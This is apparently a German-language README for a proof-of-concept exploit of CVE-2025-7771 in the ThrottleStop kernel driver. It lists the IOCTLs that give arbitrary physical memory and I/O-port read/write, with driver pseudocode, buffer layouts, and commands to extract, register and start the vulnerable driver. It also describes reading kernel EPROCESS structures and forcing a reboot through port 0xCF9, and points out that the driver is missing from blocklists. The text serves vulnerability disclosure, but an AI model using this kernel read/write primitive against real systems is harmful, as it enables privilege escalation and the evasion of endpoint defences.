
CVE-2025-7771: Beliebiger physischer Speicher und I/O-Port Lese-/Schreibzugriff über ThrottleStop-Treiber
CVE-2025-7771: Beliebiger physischer Speicher und I/O-Port-Lesen/Schreiben über den ThrottleStop-Treiber
ThrottleStop ist eine kleine legitime Anwendung zur Überwachung und Korrektur von CPU-Drosselung. Sie enthält einen Treiber, der diese Aufgaben ermöglicht, und verfügt größtenteils über keinerlei Eingabevalidierung.
| IOCTL | Sicherheitslücke |
|---|---|
| 0x80006498 | Beliebiger Speicher-Lesezugriff |
| 0x8000649C | Beliebiger Speicher-Schreibzugriff |
| 0x80006430 | Beliebiger Port-Lesezugriff |
| 0x80006434 | Beliebiger Port-Schreibzugriff |
Es scheint auch beliebige MSR-Lese- und Schreibzugriffe zu geben, aber ich konnte sie nicht zum Laufen bringen.
Fühlen Sie sich frei, selbst nachzusehen.
MSR-Lesen ist unter 0x80006448 und Schreiben unter 0x8000644C.
Wenn Sie es zum Laufen bringen konnten, reichen Sie bitte ein Issue ein, das das Vorgehen beschreibt.
Alle unten genannten IOCTL-Aufrufe sind in der Datei Exploit.c implementiert.
Der IOCTL 0x80006498 bildet eine beliebige angegebene physische Adresse mittels MmMapIoSpace in den Kernelraum ab und liest 1, 2, 4 oder 8 Bytes daraus. Die Daten werden dann zurück in den Benutzerraum kopiert.
Um diesen IOCTL auszulösen, rufen Sie DeviceIoControl mit der physischen Adresse als Eingabe und der Ausgabepuffergröße als Lesegröße (1, 2, 4 oder 8) auf.
Vereinfachter Code für diesen IOCTL im Treiber:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
Ähnlich wie beim Lesen bildet der IOCTL 0x8000649C die angegebene physische Adresse mittels MmMapIoSpace in den Kernelraum ab und schreibt 1, 2, 4 oder 8 Bytes dorthin.
Um diesen IOCTL auszulösen, rufen Sie DeviceIoControl mit dem folgenden Eingabepuffer-Layout auf:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
Die Eingabepuffergröße beträgt 8 + (1, 2, 4 oder 8) je nach Schreibgröße.
Ausgabepuffer und Ausgabepuffergröße werden nicht verwendet.
Vereinfachter Code für diesen IOCTL im Treiber:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
Der IOCTL 0x80006430 ermöglicht es einem Benutzer, einen I/O-Port anzugeben und direkt mit __inbyte, __inword oder __indword daraus zu lesen.
Der Eingabepuffer ist ein USHORT und die Eingabepuffergröße sollte sizeof(USHORT) sein.
Der Ausgabepuffer enthält das Ergebnis (1, 2 oder 4 Bytes je nach angeforderter Größe) und die Ausgabegröße kann 1, 2 oder 4 sein.
Vereinfachter Code für diesen IOCTL im Treiber:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
Ähnlich wie beim Port-Lesen ermöglicht der IOCTL 0x80006434 einem Benutzer, einen I/O-Port anzugeben und beliebige Werte mit __outbyte, __outword oder __outdword dorthin zu schreiben.
Das Layout des Eingabepuffers ist:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
Die Eingabepuffergröße sollte sizeof(USHORT) + sizeof(Value) (+ Padding) sein. Ausgabepuffer und dessen Größe werden nicht verwendet.
Vereinfachter Code für diesen IOCTL im Treiber:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
Diese Übersetzung ist möglich, indem Superfetch missbraucht wird, ein legitimes Kernelmodul, das die Übersetzung von virtuellen zu physischen Adressen mittels undokumentierter APIs bereitstellt. Der Code hierfür ist in vtop.c implementiert.
Dieses Projekt kann mit Meson kompiliert werden. Es liest das UniqueProcessId-Feld, indem es die EPROCESS-Struktur des Systemprozesses über PsInitialSystemProcess auflöst und prüft, ob es 4 ist (implementiert in Main.c; die Funktionen zum Auffinden von EPROCESS einer bestimmten PID sind in EProcess.c implementiert). Zusätzlich fragt es den Benutzer, ob er sein System erzwungen neu starten möchte. Dies ist möglich, indem der Wert 0x0E auf Port 0xCF9 geschrieben wird.
Warnung: Alles wurde auf Windows 11 Build 24H2 getestet. Die Offsets in der EPROCESS-Struktur können auf Ihrem System abweichen.
Erstellen Sie das Projekt mit
meson setup build
Dadurch wird das Build-Verzeichnis erstellt. Kompilieren Sie das Projekt nun mit
meson compile -C build
Der Treiber ist im Verzeichnis Drivers des Repositorys verfügbar. ThrottleStop-Treiber können direkt aus dem Programm ThrottleStop.exe über Resource Hacker extrahiert werden. Sie finden 2 Treiber – x64 und x86. DriverObject->MajorFunction[14] enthält die Dispatch-Funktion, in der alle IOCTLs implementiert sind.
Erstellen und starten Sie den Treiber mit:
sc create ThrottleStop binPath="<Pfad>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
Dieser Treiber wurde bisher weder zur Microsoft-Treibersperrliste noch zu loldrivers hinzugefügt.